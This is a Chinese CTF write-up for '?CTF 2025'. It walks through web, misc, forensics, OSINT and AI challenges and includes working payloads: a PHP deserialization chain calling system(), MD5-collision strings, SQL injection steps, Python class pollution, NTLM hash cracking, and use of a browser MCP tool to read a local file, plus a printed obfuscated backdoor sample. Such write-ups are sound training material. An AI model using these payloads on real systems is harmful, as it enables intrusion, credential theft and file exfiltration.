?CTF 2025 WriteUp

web

[Week1] Gitttttttt

题目提示了git
get http://challenge.ilovectf.cn:30393/.git/HEAD,文件存在,证明存在源码泄露
使用githack一把梭

flag{OH_I_NeZv0r_l3V30_tlE_GBl7_a8gAzn}

[Week1] Ping??

网络搜索得知在ping命令后可以执行命令

但是好像没那么简单,有过滤

使用通配符绕过

[Week1] from_http

[Week1] secret of php

题目需要!$a === "2025" and intval($a, 0) === 2025
使用2025的八进制绕过


接下来是一个弱类型+md5强碰撞
参考md5强碰撞12
payload:

text
1a=240610708&b=QNKCDZO&aa[]=1&bb[]=2&aaa=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&bbb=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[Week1] 前端小游戏

手速,可以轻松完成

然而并不行,666
代码审计发现一串base64,解码得flag

[Week1] 包含不明东西的食物?!

第一眼:php文件包含?
第二眼:路径穿越

[Week2] 留言板

观察到后端是python,判断是jinja ssti
使用 https://github.com/Marven11/FenJing 一把梭


[Week2] 登录和查询

说了要爆破
观察到:


提供了字典,使用yakit爆破

(第一次从bp换到yakit,不太适应,在摸索)
302到/flag.php
随便填了个参数,提示要union注入
确定列数3:

寻找显示位,确定三列都可以显示:

确定数据库名为ctf:

但是尝试获取表名的时候报错

使用16进制绕过

得到表名flags,secret_data,users
查询列名,依然报错,依然hex绕过

列名id,flag
然后读取

记录一下手注(

[Week2] Only Picture Up

常规的图片马

扫根目录找到FL4g94

[Week2] Regular Expression

扔进regex vis

按照题意写个字符串并url编码

text
1-ctf<
2>>>>>h11~~~~~~~~~~@email.com flag1
3
4-ctf%3C%0A%3E%3E%3E%3E%3Eh11~~~~~~~~~~@email.com%20flag1

然后需要写一个正则匹配给出的字符串
直接任意匹配,然后|凑字数

[Week2] Look at the picture

确实可以加载图片..

尝试使用远程文件包含漏洞,但是发现有检测
但是不知道具体过滤哪些字符串,得有源码,于是尝试dirsearch


发现filter没有过滤

[Week2] 这是什么函数

观察到python pollute,怀疑原型链污染

但是没有源码,浅浅的尝试一下


(dirsearch真的跑的太慢了 只好挂着然后自己试)
源码中需要cat == dog才会返回flag,于是需要想办法污染这两个变量

json
1{"__init__":{"__func__":{"__globals__":{"cat":"a","dog":"a"}}}}

然后访问/flag即可

[Week3] 魔术大杂烩

php反序列化

php
 1<?php
 2class Wuhuarou{
 3    public $Wuhuarou;
 4    function __construct($Wuhuarou) {
 5        $this->Wuhuarou = $Wuhuarou;
 6    }
 7}
 8
 9class Fentiao{
10    public $Fentiao;
11    public $Hongshufentiao;
12    function __construct($Fentiao) {
13        $this->Fentiao = $Fentiao;
14    }
15}
16
17class Baicai{
18    public $Baicai;
19    function __construct($Baicai) {
20        $this->Baicai = $Baicai;
21    }
22}
23
24class Wanzi{
25    public $Wanzi;
26    function __construct($Wanzi) {
27        $this->Wanzi = $Wanzi;
28    }
29}
30
31class Xianggu{
32    public $Xianggu;
33    public $Jinzhengu;
34    public function __construct($Xianggu, $Jinzhengu){
35        $this->Xianggu = $Xianggu;
36        $this->Jinzhengu = $Jinzhengu;
37    }
38}
39
40class Huluobo{
41    public $HuLuoBo;
42}
43
44$command = "system('cat /flag');";
45
46$huluobo = new Huluobo();
47$xianggu = new Xianggu($huluobo, $command);
48$wanzi = new Wanzi($xianggu);
49$baicai = new Baicai($wanzi);
50$fentiao = new Fentiao($baicai);
51$wuhuarou = new Wuhuarou($fentiao);
52
53$payload = serialize($wuhuarou);
54echo $payload;
55?>
text
1O:8:"Wuhuarou":1:{s:8:"Wuhuarou";O:7:"Fentiao":2:{s:7:"Fentiao";O:6:"Baicai":1:{s:6:"Baicai";O:5:"Wanzi":1:{s:5:"Wanzi";O:7:"Xianggu":2:{s:7:"Xianggu";O:7:"Huluobo":1:{s:7:"HuLuoBo";N;}s:9:"Jinzhengu";s:20:"system('cat /flag');";}}}s:14:"Hongshufentiao";N;}}

[Week3] 这又是什么函数 (Draft)

先扫目录(

访问/src,得到源码

[Week3] 查查忆 (Draft)

[Week3] ezphp (Draft)

misc

[Week1] 布豪有黑客(一)

用wireshark打开文件,筛选http流量

提取27的zip文件

密码在17中

解压zip得到flag
flag{Wireshark_1s_4wes0m3}

[Week1] 文化木的侦探委托(一)

先binwalk一下,只有一个zip
解压得到一个png,爆破宽高得到实际宽高为3456*2600

拉去steg solve

[Week1] 维吉尼亚朋友的来信

听着不对劲,看频谱

提示deepsound,用deepsound打开提取到一个txt

题目提示维吉尼亚密码,扔进cyberchef

flag{funny_letter_to_you}

[Week1] 《关于我穿越到CTF的异世界这档事:序》

alphabet.txt是base64编码的,但我没看懂怎么用。。。
base8.txt是一串未知码表的base8编码字符串,扔给ai写爆破程序

python
 1import itertools
 2
 3def main():
 4    encoded_str = "Tsmssic?FT?ii?sFFi?iTimCTC?mcCmsTiTmmCCCFs?sCCiiTFTcmCmFTCscFicTTs?ciC?TFFTim?s?TTmsmCmFCmmiFCmsTFTimCCsFCmiTicTT?msFCTTTs?c??ssFCmi?mciCcT"
 5    padding = "====="
 6    chars = ['T', 's', 'm', 'i', 'c', 'F', 'C', '?']
 7    digits = list(range(8))
 8    
 9    # Generate all possible mappings from chars to digits (0-7)
10    for perm in itertools.permutations(digits):
11        mapping = {ch: str(d) for ch, d in zip(chars, perm)}
12        num_str = ''.join(mapping[ch] for ch in encoded_str)
13        
14        # Convert数字字符串 to binary string, each digit to 3 bits
15        binary_str = ''.join(format(int(d), '03b') for d in num_str)
16        
17        # Take first 416 bits (52 bytes)
18        if len(binary_str) < 416:
19            continue
20        binary_str = binary_str[:416]
21        
22        # Convert binary string to bytes
23        try:
24            data = bytes(int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8))
25            text = data.decode('utf-8')
26            # Check if the text is readable (contains mostly printable ASCII and common words)
27            if text.isprintable() :
28                print("Mapping found:")
29                for ch in chars:
30                    print(f"{ch} -> {mapping[ch]}")
31                print("Decoded text:")
32                print(text)
33                print()
34                # Break after finding one readable text? Or continue to find all?
35                # break  # Uncomment to stop after first finding
36        except UnicodeDecodeError:
37            continue
38
39if __name__ == '__main__':
40    main()


再解一次base64即得flag
flag{Th3_Pr1nc1pl3_0f_Base_1s_S0_Ezz}

[Week1] 俱乐部之旅(1) - 邀请函

压缩包内注释c5im????,尝试掩码爆破

解压得到steg.docx,提示在注释里


得到flag前半段。
然后将docx作为压缩包打开,发现这个文件

扔进cyberchef,得到flag的后半部分

flag{W0rd_5t3g_is_1z&Welc0me_t0_th3_c5im_C1ub}

[Week2] 布豪有黑客(二)

先筛选http流量,发现上传了个webshell


搜索得知是冰蝎流量
在最后一个webshell的请求中复制payload

使用BlueTeamTools解密流量(当然自己写个脚本也行)

将这串实际命令base64解码

sh
1cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

实际上是把flag加密成了一个后缀是zip的txt,然后再读取出来

写一个解密命令

sh
1openssl enc -d -des3 -salt -k W3lc0me2m1sc -in /xp/www/week2/uploads/flag_decrypted.zip -out ./decrypted_flag

得到flag

[Week2] 文化木的侦探委托(二)

010打开图片,找到提示

发现最后这个idat块格外的大

补全png头,拼接idat块内容,得到另一张图片

提示了blind,想必是双图盲水印
使用bwm提取

sh
1python bwm.py decode 1.png 2.png flag.png

得到flag

[Week2] 破碎的拼图

提示了steghide,使用steghide提取图片内隐写文件

sh
1steghide extract -sf image.jpg -p ?CTF


全部重命名为flag_C,就能用bandizip打开

文件开头就是flag

[Week2] 《关于我穿越到CTF的异世界这档事:破》

提示了suid提权

查找有suid权限的程序,发现editnote,会调用$EDITOR编辑notes.txt

将$EDITOR改为/bin/bash,将notes.txt改为whoami

但是不行,并没有实现提权,这就很匪夷所思了
后来搜索得知ruid suid不一致会权限降级
找了一下在根目录下没有flag,推测在/root/flag,于是思考将/root/flag软连接到~/notes.txt
最终尝试发现flag在/root/flag.txt

[Week2] 俱乐部之旅(2) - 我邮件呢??

使用wireshark提取imf格式

提取到一个zip

压缩包注释里写

text
1Access to the congratulatory letter requires your identity hash as the password

可是我并不知道identity hash是什么,但是压缩包有一个png,可以用png头作为明文进行明文攻击

sh
1echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
2bkcrack -C Congratulations.zip -c id_card.png -p png_header -o 0


找到了三个keys,然后用这三个密钥提取出另一个压缩包

sh
1bkcrack -C Congratulations.zip -k 733236fb 6652cac7 8542e0e2 -U out.zip 123

然后就可以从图片中拿到压缩包的密码

使用这个密码解压压缩包,在Congratulations.txt最后就是flag

[Week3] 布豪有黑客(三)

参考Misc-Network Traffic Analysis
1.过滤出ntlmssp的请求包,查看 Session Set Request 并复制NTLMSSP_AUTH包中Security Blob层的User name、Domain name

text
1User name: rockyou
2Domain name: C3NGH--DESKTOP

2.查看NTLMSSP_AUTH包中的NTLM响应,并复制出ntlmv2_response以及ntproofstr3

text
1ntlmv2_response: e20402e8a924e2de7c1e3fd3f949bc3801010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000
2NTProofStr: e20402e8a924e2de7c1e3fd3f949bc38

3.过滤出ntlmssp的请求包,查看Session Set Response 并复制出NTLM Server Challenge的值,通常这个数据包是在NTLM_Auth数据包之前

text
1NTLM Server Challenge: 91e15fed933eff0c

4.把以上内容按照固定格式组合并保存到hash.txt中

text
1username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
2rockyou::C3NGH--DESKTOP:91e15fed933eff0c:e20402e8a924e2de7c1e3fd3f949bc38:01010000000000001df551630839dc011473b30c1fc1c20f000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300650072007600650072000300160046004c00410047002d00530065007200760065007200070008001df551630839dc0106000400020000000800300030000000000000000100000000200000a6cd8042becda35cc7967ee26857127fac305123020cefe31fcefbfd7ece32d50a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d00530045005200560045005200000000000000000000000000

5.使用hashcat爆破hash值
下载rockyou.txt字典

sh
1hashcat -m 5600 hash.txt rockyou.txt


然后参考SMB Decryption - TryHackMe计算session key原文

python
 1from Crypto.Cipher import ARC4
 2from Crypto.Hash import MD4, MD5, HMAC
 3
 4password = 'poohkitty13'
 5passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
 6username = 'ROCKYOU'
 7domain = 'C3NGH--DESKTOP'
 8ntProofStr = 'e20402e8a924e2de7c1e3fd3f949bc38'
 9serverChallenge = '91e15fed933eff0c'
10sessionKey = '55d34fb498993a0aceaa960eea8ab7e9'
11
12responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper()+domain.upper()).encode('utf-16-le'), MD5).digest()
13keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
14decryptedSessionKey = ARC4.new(keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
15print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))
text
1Decrypted SMB Session Key is: c97ac1002c85cbd04f69f5406c430fbd

然后复制session id,转换为小端序

text
11900000c001c0000

在wireshark中配置

即可提取文件

补充:其实wireshark里直接填入密码就可以解密了,不需要后续的计算

[Week3] 文化木的侦探委托(三)

说了损坏五六处,那么修复zip结构是困难的,可以直接提取zlib流解压
提取frData

补上zlib头78 9C然后解压

提取到flag.docx,打开就是

[Week3] 《关于我穿越到CTF的异世界这档事:Q》

显然这是个godot游戏,还挺难玩的

使用Godot RE Tools反编译

在scenes/game.tscn中找到flag,将六个部分拼起来base64解码即可

[Week3] 俱乐部之旅(3) - 与时间对话

观察到To_My_Unseen_Friend.txt中有零宽字符隐写

一共使用了200b, 200c, 200d, 202a, 202c, feff这几种字符
使用在线工具解码

计算time的md5

解压后得到一个.git仓库,提取暂存的文件

得到dora文件,观察文件格式推测是gif图,但是打不开,损坏了
修正文件头

修正文件尾

发现文件头中定义的宽高和实际数据的宽高不同,修正

然后就能用gimp打开了

发现没有明显信息,但是帧延迟时间不同,怀疑有隐写
打开010编辑模板输出时间

cpp
1Printf("delay time: %d\n",GraphicControlExtension.GraphicControlSubBlock.DelayTime);


看着像ascii,扔进cyberchef

[Week4] 文化木的侦探委托(四)

搜索得知what's this?是GNU Radio Companion的流程图


所以需要先根据mag和phase反推Virtual Source 1

python
1import numpy as np
2mag = np.fromfile('mag', dtype=np.float32)
3phase = np.fromfile('phase', dtype=np.float32)
4Y = mag * np.exp(-1j * phase)
5real_Y = np.real(Y)
6imag_Y = np.imag(Y)
7virtual_source_1 = (real_Y + imag_Y) / 2

然后根据V1和password反推原始的password.wav
ai写的代码:

python
 1# 检查信号长度是否匹配
 2if len(processed_signal) != len(virtual_source_1):
 3    print(
 4        f"警告: 信号长度不匹配。processed_signal: {len(processed_signal)}, virtual_source_0: {len(virtual_source_1)}")
 5    # 取最小长度
 6    min_len = min(len(processed_signal), len(virtual_source_1))
 7    processed_signal = processed_signal[:min_len]
 8    virtual_source_1 = virtual_source_1[:min_len]
 9# 逆处理: 首先除以2.5,然后减去virtual_source_0
10original_signal = (processed_signal / 2.5) - virtual_source_1
11# 将还原后的信号保存为WAV文件
12samp_rate = 44100
13# 确保信号在-1到1之间,否则需要归一化
14if np.max(np.abs(original_signal)) > 1:
15    original_signal = original_signal / np.max(np.abs(original_signal))
16# 转换为16位整数格式
17original_signal_int16 = (original_signal * 32767).astype(np.int16)
18# 保存为WAV文件
19wavfile.write('recovered_password.wav', samp_rate, original_signal_int16)

然后即可得到password.wav

观察频谱图可知这是电话拨号盘的双音多频(DTMF)信号,每个音调是两个正弦波的和
参考Lunatic: 6、电话音分析(DTMF)
使用dialabc.com/sound/detect网站检测

所以压缩包密码是24#A1B87C4*0#DD
flag{Wh@t_I_hope_you_wi11_seek_i5_y0ur_true_self_wi7hin.}

forensics

[Week1] 取证第一次

diskgenius挂载然后看日志即可

flag{F0r3ns1cs_i$_Fun_Rea11y_???}

[Week2] 你也喜欢win7吗

(复现)
参考内存取证,使用volatility2分析
查看镜像信息

sh
1python2 vol.py -f memory.raw imageinfo

得知是win7sp1x64的
查看进程列表

sh
1python2 vol.py -f memory.raw --profile=Win7SP1x64 pslist

注意到mspaint.exe
另外查找内存中文件

sh
1python2 vol.py -f memory.raw --profile=Win7SP1x64 filescan

发现桌面上有个hint,还有个flag.zip

text
1*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…
2所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

参考这个进行mspaint的取证
先dump内存

sh
1python2 vol.py -f memory.raw --profile=Win7SP1x64 procdump -p [pid忘记了] -D ./

然后用gimp导入(貌似不是这么调参数的 期待官方wp)

用这个密码解压flag.zip即可

[Week3] 爱茂TV

使用nc连接后看到题目

0. 机主使用的用户名
用diskgenius加载镜像,即可看到用户名

flag{hajimi}

  1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容)
    查看/etc/passwd

    flag{I_l0v3_M4od1e}
  2. 机主最近自行安装字体的家族名称

    被坑了,一直以为是英文的,没想到是中文
    flag{鸿蒙黑体}
  3. 机主使用的 FTP 传输工具(全小写不含扩展名)

    flag{filezilla}
  4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码

    flag{112.2.196.181$114_S4f3Pwd_514}
  5. 机主对外通信使用的邮箱地址


    flag{praxoppogrebro-5874@yopmail.net}
  6. "加速器安装程序"的 MD5 值(全小写)

  7. "加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。
    这一堆base64解码

    得到一个gz文件,解压后在res/rescue/ls

    flag{ls#fscan}
  8. "加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面

    flag{systemctl disable lightdm >/dev/null 2>&1 || true}
  9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?


    rbash是bash的受限版本,不算
    flag{/etc/bash.bashrc#dash#sh}

[Week4] 安卓服务?安卓人?

[0] 攻击事件发生在外网(WAN)还是内网(LAN)?并指出被攻击机器在网络的IP

flag{LAN#192.168.119.139}
[1] 网页服务器连接使用的用户、密码与数据库名称

flag{chenfeng:pingguochenfeng@chenfeng-db}
[2] Web服务于受攻击时段启动与关闭的时间


flag{20:00:08-22:31:11}
[3] 攻击者利用最多的 WebShell 文件名与连接密码

显然是gift.php
flag{gift.php&chenfeng}
[4] 攻击者未能获得后端源码的原因是权限不对,
找出攻击者试图访问时使用的用户名与未能访问目录的权限
猜的,等官方wp ing
flag{http#700}
[5] 对数据库做出破坏的攻击者IP与可能执行的SQL语句
Info: 格式:flag{1.1.1.1#command object},SQL语句指令全小写且只有一行,无尾随分号

flag{192.168.119.1#drop table sponsorship}
[6] 扣除可能的欠款后,澄峰的收入与支出总和(一个有符号数)
找到预算表

复制出来,导入mysql,然后导出成sql
扔进excel统计

但是并不对,后面发现日记里还有1000r

flag{-56552}
[7] 数据库现存内容中的flag

flag{W3_w0uld_bec0me_fr1eNds_@ga1n}
[8] 除去赞助收入,澄峰的第一大收入来源与数额
Info: 格式:flag{source#amount}

flag{直播间礼物#228220}

[9] 澄峰崩溃至极,使用了工具来深度删除文件,他使用了什么命令实现这一点
Info: 格式:flag{命令}
.bash_history
flag{shred -uz .bash_history}

osint

[Week1] Task 1. 见面地点

图片带有EXIF信息

注意到旁边有个陕西哨子面,在地图中查看距离这家店最近的地铁站是会展中心站


flag{1_4_HuiZhanZhongXin}

[Week2] Task 2. 方块世界?!

打开这个codeberg仓库,找到level/_CTF世界.world这个文件
https://codeberg.org/what_is_the_flag/what-ctf-world/src/branch/main/level/_CTF%E4%B8%96%E7%95%8C.world
众所周知文字游戏世界最近发布了试玩版(想玩但是要做题),这个是它的存档
观察发现石板1-4的text拼起来是base64

并且有字符集

但是这样解码出来的仍然有乱码
继续观察发现“再看一遍”功能会替换原字符串中的一些部分
最终变为

text
1LzkuL4gSqI6hrH0JYTUkLR9jLy0PnQNlKIY1Y4VmJ2DlqFZso4VsDzQkpmYusC==
2
3flag{Funny_W0r1d_0f_Ch@rac43rs_Tru3_or_Fa1s3!}

得到flag。
(ps:下了个游戏但是wine转译运行不了,是electron的)

ai

[Week3] browser_mcp

使用MCP Inspector连接到mcp服务器

这是一个浏览器操作的mcp服务器,在tools下先调用browser_start启动一个浏览器实例

然后使用browser_create_page创建一个标签页

然后使用browser_navigate重定向至file:///flag

然后使用browser_screenshot对这个页面拍快照

然后得到图像base64,扔进cyberchef解码即可

[Week3] 等下交个flag先

运行pre.py,发现models/model_epoch_31.h5这个文件存在问题
(另外观察得知这是一个MNIST手写数字识别)
直接以文本文件打开这个文件,或者

sh
1strings models/model_epoch_31.h5

发现一串base64编码的字符串

清除换行符之后解码

又是一个base64,继续解码

得到一串python代码(还带混淆的...?)

python
 1from re import T
 2
 3
 4def lIlIlI():
 5    IlIlII = "⚠️ WARNING: MODEL COMPROMISED!"
 6    lIIIll = "🚨 Injected Code Triggered Successfully"
 7    IIlIlI = "🏴‍☠️ Backdoor Activated... Exfiltrating Data"
 8    print(IlIlII)
 9    print(lIIIll)
10    print(IIlIlI)
11def IIllIl(IllIll, lIllII):
12    def IIlIIl(lIllll, IIllll, llIIII=32):
13        lIllIl, IllIIl = lIllll[0], lIllll[1]
14        lIlIIl = 0
15        IIlIll = 0x9E3779B9
16        for _ in range(llIIII):
17            lIlIIl = (lIlIIl + IIlIll) & 0xFFFFFFFF
18            lIllIl = (lIllIl + (((IllIIl << 4) + IIllll[0]) ^ (IllIIl + lIlIIl) ^ ((IllIIl >> 5) + IIllll[1]))) & 0xFFFFFFFF
19            IllIIl = (IllIIl + (((lIllIl << 4) + IIllll[2]) ^ (lIllIl + lIlIIl) ^ ((lIllIl >> 5) + IIllll[3]))) & 0xFFFFFFFF
20        return [lIllIl, IllIIl]
21    llIlll = (8 - len(IllIll) % 8) % 8
22    IllIll += '\0' * llIlll
23    IIlIII = []
24    for llIlII in range(0, len(IllIll), 8):
25        llIlIl = IllIll[llIlII:llIlII+8]
26        IIIlll = int.from_bytes(llIlIl[:4].encode(), 'big')
27        IIlIlll = int.from_bytes(llIlIl[4:].encode(), 'big')
28        IIlIII.append([IIIlll, IIlIlll])
29    IlllII = [int.from_bytes(lIllII[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
30    lIlIll = [IIlIIl(IIlI, IlllII) for IIlI in IIlIII]
31    return ''.join(f'{Ill:08x}{lll:08x}' for Ill, lll in lIlIll)
32def lllIIl(llIlIlI, IIlIllI):
33    def llIIIl(llIIIlI, lllIII, IIllllI=32):
34        llIllII, IllIllI = llIIIlI[0], llIIIlI[1]
35        IlllIll = 0x9E3779B9
36        lIlllII = (IlllIll * IIllllI) & 0xFFFFFFFF
37        for _ in range(IIllllI):
38            IllIllI = (IllIllI - (((llIllII << 4) + lllIII[2]) ^ (llIllII + lIlllII) ^ ((llIllII >> 5) + lllIII[3]))) & 0xFFFFFFFF
39            llIllII = (llIllII - (((IllIllI << 4) + lllIII[0]) ^ (IllIllI + lIlllII) ^ ((IllIllI >> 5) + lllIII[1]))) & 0xFFFFFFFF
40            lIlllII = (lIlllII - IlllIll) & 0xFFFFFFFF
41        return [llIllII, IllIllI]
42    lIIIlI = []
43    for lIlIIlI in range(0, len(llIlIlI), 16):
44        lIIlllI = int(llIlIlI[lIlIIlI:lIlIIlI+8], 16)
45        lIlIllI = int(llIlIlI[lIlIIlI+8:lIlIIlI+16], 16)
46        lIIIlI.append([lIIlllI, lIlIllI])
47    lIllIll = [int.from_bytes(IIlIllI[i:i+4].encode(), 'big') for i in range(0, 16, 4)]
48    IllIlII = [llIIIl(IllI, lIllIll) for IllI in lIIIlI]
49    lIlllIl = b''.join(x.to_bytes(4, 'big') + y.to_bytes(4, 'big') for x, y in IllIlII)
50    return lIlllIl.rstrip(b'\0').decode()
51def IlIlIl():
52    lIIlI = '2311b9123d7fdb3abe4b29b2efd34ed140e4ad78428b5d283a3e75af4be3ff2267f1db8523383ad0'
53    lIIIllI = "dhcowjqnckssqdqm"
54    lIlIl = lllIIl(lIIlI, lIIIllI)
55    return True
56def IlllI():
57    llllI = __import__('socket')
58    IlIIl = llllI.socket(llllI.AF_INET, llllI.SOCK_STREAM)
59    IlIIl.settimeout(1)
60    IlIIl.connect(("8.8.8.8", 53))
61def lIIIlll():
62    IlIlIl()
63    lIlIlI()
64    IlllI()
65lIIIlll()

分析后发现第54行存在未使用的变量,print输出就是flag

blockchain

[Week4] 本周的签到 (Draft)